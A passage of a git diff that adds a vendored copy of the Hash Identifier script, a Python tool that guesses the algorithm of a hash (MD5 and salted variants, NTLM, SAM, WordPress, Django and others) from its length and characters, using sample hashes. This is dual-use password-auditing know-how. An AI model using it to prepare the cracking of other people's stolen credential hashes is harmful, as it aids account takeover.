+print "SHA512:",hash.hexdigest(),"\n"
\ No newline at end of file
diff --git a/3rdparty/hashtipi.py b/3rdparty/hashtipi.py
new file mode 100644
index 0000000..f259e8e
--- /dev/null
+++ b/3rdparty/hashtipi.py
@@ -0,0 +1,577 @@
+#!/usr/bin/env python
+# encoding: utf-8
+# Hash Identifier v1.1
+# By Zion3R
+# www.Blackploit.com
+# Root@Blackploit.com
+
+logo='''   #########################################################################
+   #     __  __                     __           ______    _____           #
+   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
+   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
+   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
+   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
+   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
+   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
+   #                                                             By Zion3R #
+   #                                                    www.Blackploit.com #
+   #                                                   Root@Blackploit.com #
+   #########################################################################'''
+
+algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"}
+
+# hash.islower()  minusculas
+# hash.isdigit()  numerico
+# hash.isalpha()  letras
+# hash.isalnum()  alfanumerico
+
+def CRC16():
+    hs='4607'
+    if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("101020")
+def CRC16CCITT():
+    hs='3d08'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("101040")
+def FCS16():
+    hs='0e5b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("101060")
+
+def CRC32():
+    hs='b33fd057'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102040")
+def ADLER32():
+    hs='0607cb42'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102020")
+def CRC32B():
+    hs='b764a0d9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102060")
+def XOR32():
+    hs='0000003f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102080")
+
+def GHash323():
+    hs='80000000'
+    if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("103040")
+def GHash325():
+    hs='85318985'
+    if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("103020")
+
+def DESUnix():
+    hs='ZiY8YtDKXJwYQ'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False:
+        jerar.append("104020")
+
+def MD5Half():
+    hs='ae11fd697ec92c7c'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("105060")
+def MD5Middle():
+    hs='7ec92c7c98de3fac'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("105040")
+def MySQL():
+    hs='63cea4673fd25f46'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("105020")
+
+def DomainCachedCredentials():
+    hs='f42005ec1afe77967cbc83dce1b4d714'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106025")
+def Haval128():
+    hs='d6e3ec49aa0f138a619f27609022df10'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106160")
+def Haval128HMAC():
+    hs='3ce8b0ffd75bc240fc7d967729cd6637'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106165")
+def MD2():
+    hs='08bbef4754d98806c373f2cd7d9a43c4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106060")
+def MD2HMAC():
+    hs='4b61b72ead2b0eb0fa3b8a56556a6dca'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106120")
+def MD4():
+    hs='a2acde400e61410e79dacbdfc3413151'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106040")
+def MD4HMAC():
+    hs='6be20b66f2211fe937294c1c95d1cd4f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106100")
+def MD5():
+    hs='ae11fd697ec92c7c98de3fac23aba525'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106020")
+def MD5HMAC():
+    hs='d57e43d2c7e397bf788f66541d6fdef9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106080")
+def MD5HMACWordpress():
+    hs='3f47886719268dfa83468630948228f6'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106140")
+def NTLM():
+    hs='cc348bace876ea440a28ddaeb9fd3550'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106029")
+def RAdminv2x():
+    hs='baea31c728cbf0cd548476aa687add4b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106027")
+def RipeMD128():
+    hs='4985351cd74aff0abc5a75a0c8a54115'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106180")
+def RipeMD128HMAC():
+    hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106185")
+def SNEFRU128():
+    hs='4fb58702b617ac4f7ca87ec77b93da8a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106200")
+def SNEFRU128HMAC():
+    hs='59b2b9dcc7a9a7d089cecf1b83520350'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106205")
+def Tiger128():
+    hs='c086184486ec6388ff81ec9f23528727'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106220")
+def Tiger128HMAC():
+    hs='c87032009e7c4b2ea27eb6f99723454b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106225")
+def md5passsalt():
+    hs='5634cc3b922578434d6e9342ff5913f7'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106240")
+def md5saltmd5pass():
+    hs='245c5763b95ba42d4b02d44bbcd916f1'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106260")
+def md5saltpass():
+    hs='22cc5ce1a1ef747cd3fa06106c148dfa'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106280")
+def md5saltpasssalt():
+    hs='469e9cdcaff745460595a7a386c4db0c'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106300")
+def md5saltpassusername():
+    hs='9ae20f88189f6e3a62711608ddb6f5fd'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106320")
+def md5saltmd5pass():
+    hs='aca2a052962b2564027ee62933d2382f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106340")
+def md5saltmd5passsalt():
+    hs='de0237dc03a8efdf6552fbe7788b2fdd'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106360")
+def md5saltmd5passsalt():
+    hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106380")
+def md5saltmd5saltpass():
+    hs='d8f3b3f004d387086aae24326b575b23'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106400")
+def md5saltmd5md5passsalt():
+    hs='81f181454e23319779b03d74d062b1a2'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106420")
+def md5username0pass():
+    hs='e44a60f8f2106492ae16581c91edb3ba'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106440")
+def md5usernameLFpass():
+    hs='654741780db415732eaee12b1b909119'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106460")
+def md5usernamemd5passsalt():
+    hs='954ac5505fd1843bbb97d1b2cda0b98f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106480")
+def md5md5pass():
+    hs='a96103d267d024583d5565436e52dfb3'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106500")
+def md5md5passsalt():
+    hs='5848c73c2482d3c2c7b6af134ed8dd89'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106520")
+def md5md5passmd5salt():
+    hs='8dc71ef37197b2edba02d48c30217b32'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106540")
+def md5md5saltpass():
+    hs='9032fabd905e273b9ceb1e124631bd67'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106560")
+def md5md5saltmd5pass():
+    hs='8966f37dbb4aca377a71a9d3d09cd1ac'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106580")
+def md5md5usernamepasssalt():
+    hs='4319a3befce729b34c3105dbc29d0c40'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106600")
+def md5md5md5pass():
+    hs='ea086739755920e732d0f4d8c1b6ad8d'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106620")
+def md5md5md5md5pass():
+    hs='02528c1f2ed8ac7d83fe76f3cf1c133f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106640")
+def md5md5md5md5md5pass():
+    hs='4548d2c062933dff53928fd4ae427fc0'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106660")
+def md5sha1pass():
+    hs='cb4ebaaedfd536d965c452d9569a6b1e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106680")
+def md5sha1md5pass():
+    hs='099b8a59795e07c334a696a10c0ebce0'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106700")
+def md5sha1md5sha1pass():
+    hs='06e4af76833da7cc138d90602ef80070'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106720")
+def md5strtouppermd5pass():
+    hs='519de146f1a658ab5e5e2aa9b7d2eec8'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106740")
+
+def LineageIIC4():
+    hs='0x49a57f66bd3d5ba6abda5579c264a0e4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0:
+        jerar.append("107080")
+def MD5phpBB3():
+    hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0:
+        jerar.append("107040")
+def MD5Unix():
+    hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0:
+        jerar.append("107060")
+def MD5Wordpress():
+    hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0:
+        jerar.append("107020")
+
+def MD5APR():
+    hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0:
+        jerar.append("108020")
+
+def Haval160():
+    hs='a106e921284dd69dad06192a4411ec32fce83dbb'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109100")
+def Haval160HMAC():
+    hs='29206f83edc1d6c3f680ff11276ec20642881243'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109200")
+def MySQL5():
+    hs='9bb2fb57063821c762cc009f7584ddae9da431ff'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109040")
+def MySQL160bit():
+    hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0:
+        jerar.append("109060")
+def RipeMD160():
+    hs='dc65552812c66997ea7320ddfb51f5625d74721b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109120")
+def RipeMD160HMAC():
+    hs='ca28af47653b4f21e96c1235984cb50229331359'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109180")
+def SHA1():
+    hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109020")
+def SHA1HMAC():
+    hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109140")
+def SHA1MaNGOS():
+    hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109220")
+def SHA1MaNGOS2():
+    hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109240")
+def Tiger160():
+    hs='c086184486ec6388ff81ec9f235287270429b225'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109080")
+def Tiger160HMAC():
+    hs='6603161719da5e56e1866e4f61f79496334e6a10'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109160")
+def sha1passsalt():
+    hs='f006a1863663c21c541c8d600355abfeeaadb5e4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109260")
+def sha1saltpass():
+    hs='299c3d65a0dcab1fc38421783d64d0ecf4113448'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109280")
+def sha1saltmd5pass():
+    hs='860465ede0625deebb4fbbedcb0db9dc65faec30'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109300")
+def sha1saltmd5passsalt():
+    hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109320")
+def sha1saltsha1pass():
+    hs='58714327f9407097c64032a2fd5bff3a260cb85f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109340")
+def sha1saltsha1saltsha1pass():
+    hs='cc600a2903130c945aa178396910135cc7f93c63'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109360")
+def sha1usernamepass():
+    hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109380")
+def sha1usernamepasssalt():
+    hs='00025111b3c4d0ac1635558ce2393f77e94770c5'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109400")
+def sha1md5pass():
+    hs='fa960056c0dea57de94776d3759fb555a15cae87'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("1094202")
+def sha1md5passsalt():
+    hs='1dad2b71432d83312e61d25aeb627593295bcc9a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109440")
+def sha1md5sha1pass():
+    hs='8bceaeed74c17571c15cdb9494e992db3c263695'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109460")
+def sha1sha1pass():
+    hs='3109b810188fcde0900f9907d2ebcaa10277d10e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109480")
+def sha1sha1passsalt():
+    hs='780d43fa11693b61875321b6b54905ee488d7760'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109500")
+def sha1sha1passsubstrpass03():
+    hs='5ed6bc680b59c580db4a38df307bd4621759324e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109520")
+def sha1sha1saltpass():
+    hs='70506bac605485b4143ca114cbd4a3580d76a413'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109540")
+def sha1sha1sha1pass():
+    hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109560")
+def sha1strtolowerusernamepass():
+    hs='79f575543061e158c2da3799f999eb7c95261f07'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109580")
+
+def Haval192():
+    hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110040")
+def Haval192HMAC():
+    hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110080")
+def Tiger192():
+    hs='c086184486ec6388ff81ec9f235287270429b2253b248a70'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110020")
+def Tiger192HMAC():
+    hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110060")
+
+def MD5passsaltjoomla1():
+    hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
+        jerar.append("112020")
+
+def SHA1Django():
+    hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0:
+        jerar.append("113020")
+
+def Haval224():
+    hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114040")
+def Haval224HMAC():
+    hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114080")
+def SHA224():
+    hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114020")
+def SHA224HMAC():
+    hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114060")
+
+def SHA256():
+    hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115020")
+def SHA256HMAC():
+    hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115120")
+def Haval256():
+    hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115040")
+def Haval256HMAC():
+    hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115140")
+def GOSTR341194():
+    hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115060")
+def RipeMD256():
+    hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115080")
+def RipeMD256HMAC():
+    hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115160")
+def SNEFRU256():
+    hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115100")
+def SNEFRU256HMAC():
+    hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115180")
+def SHA256md5pass():
+    hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115200")
+def SHA256sha1pass():
+    hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115220")
+
+def MD5passsaltjoomla2():
+    hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
+        jerar.append("116020")
+def SAM():
+    hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0:
+        jerar.append("116040")
+
+def SHA256Django():
+    hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0:
+        jerar.append("117020")
+
